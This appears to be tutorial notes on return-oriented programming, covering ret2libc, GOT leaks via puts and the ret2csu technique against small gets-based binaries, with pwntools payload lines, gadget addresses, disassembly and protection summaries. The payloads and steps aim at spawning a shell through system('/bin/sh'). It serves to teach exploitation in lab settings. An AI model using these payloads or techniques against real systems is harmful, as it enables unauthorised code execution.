gad_1 = p64(0x00000000004011d1) # pop rsi, pop r15, ret
gad_csu = p64(0x00000000004011ca) # pop rbx, rbp, r12, r13, r14, r15
gad_csu_call = p64(0x04011B0)
pop_rdi_ret = p64(0x00000000004011d3)
write = p64(0x40114a)
got_w = p64(0x404018)
rdx_val = 30
pay = bytes(("A" * 72).encode()) + gad_csu + p64(0x0) + p64(0x1) + p64(fd) + got_w + p64(rdx_val) + got_w + gad_csu_call
Based on the research of Dr. Ripol and Dr. Hector from blackhat 2018
Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as NX, ASLR, code-signing and others.
The subroutine DrawLine has been called by DrawSquare, source: Wikipedia
1. NX: Stack not executable
2. ASLR: Address spaces are randomized
3. Stack Protector (stack cookies)
4. RELRO: Relocation Read Only (read only GOT)
5. PIE: Position-independent code
Text
0x0000000000400537 <+0>: push rbp
0x0000000000400538 <+1>: mov rbp,rsp
0x000000000040053b <+4>: sub rsp,0x50
0x000000000040053f <+8>: lea rdi,[rip+0xae] # 0x4005f4
0x0000000000400546 <+15>: call 0x400430 <puts@plt>
0x000000000040054b <+20>: lea rax,[rbp-0x50]
0x000000000040054f <+24>: mov rdi,rax
0x0000000000400552 <+27>: mov eax,0x0
0x0000000000400557 <+32>: call 0x400440 <gets@plt>
0x000000000040055c <+37>: mov eax,0x0
0x0000000000400561 <+42>: leave
0x0000000000400562 <+43>: ret
Text
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
ASLR : Not enabled
No pie, no canary, known libc version, ASLR disabled
1. Libc is known and ASLR is disabled.
2. First execute binary in background and check /proc/pid/maps. Copy libc base.
3. Once libc is known the exploit is simply to return to system with rdi=binsh string.
4. Usually all libcs will have /bin/sh somewhere in the memory space.
5. We can leverage pwntools to find offsets to system and binsh.
6. We will also need a pop rdi, gadget. Which we can grab using ropper
pay = "A" * offset + pop_rdi + p64(binsh) + ret + p64(system)
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
ASLR : 64 bit enabled
No pie, no canary, no libc version
pay = "A" * 88 + pop_rdi + puts_got + puts_plt + pop_rdi + gets_got + puts_plt + main p.sendline(pay) puts_leak = p.readline().strip()[::-1].encode('hex') gets_leak = p.readline().strip()[::-1].encode('hex') puts_libc = int(puts_leak, base=16) gets_libc = int(puts_leak, base=16) print ('puts_leak', puts_leak) print ("gets_leak", gets_leak)
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
ASLR : x64 enabled
No pie, no canary, unknown libc version, no puts
0x0000000000400537 <+0>: push rbp
0x0000000000400538 <+1>: mov rbp,rsp
0x000000000040053b <+4>: sub rsp,0x50
0x000000000040053f <+8>: mov edx,0x5
0x0000000000400544 <+13>: lea rsi,[rip+0xb9] # 0x400604
0x000000000040054b <+20>: mov edi,0x1
0x0000000000400550 <+25>: mov eax,0x0
0x0000000000400555 <+30>: call 0x400430 <write@plt>
0x000000000040055a <+35>: lea rax,[rbp-0x50]
0x000000000040055e <+39>: mov rdi,rax
0x0000000000400561 <+42>: mov eax,0x0
0x0000000000400566 <+47>: call 0x400440 <gets@plt>
0x000000000040056b <+52>: mov eax,0x0
0x0000000000400570 <+57>: leave
0x0000000000400571 <+58>: ret
1. Whats the different? no puts?
2. write has 3 arguments, we need to set rdx >=8 to leak an address from the GOT.
3. write forces us to control 3 registers: rdi, rsi, rdx.
4. rdi and rsi are easy to controll.
5. what about rdx
6. We'd need to figure out how to control rdx to get a libc leak and proceed with a ret2system or ret2execve.
7. Here comes ret2csu.
__lib_csu_init
We can use gadgets at 0x4005da and 0x4005c0 to get control over rdx
registers: r15, r14, r13 are set to: rdx, rsi, edi respectively.
1. Leak libc using write(1, got_entry, 8); leverage csu call and pop gadgets.
2. Leak gets and write address
3. Put it in libc database to figure out the libc used.
4. Find offsets to system and binsh. Use pop rdi and jump to system.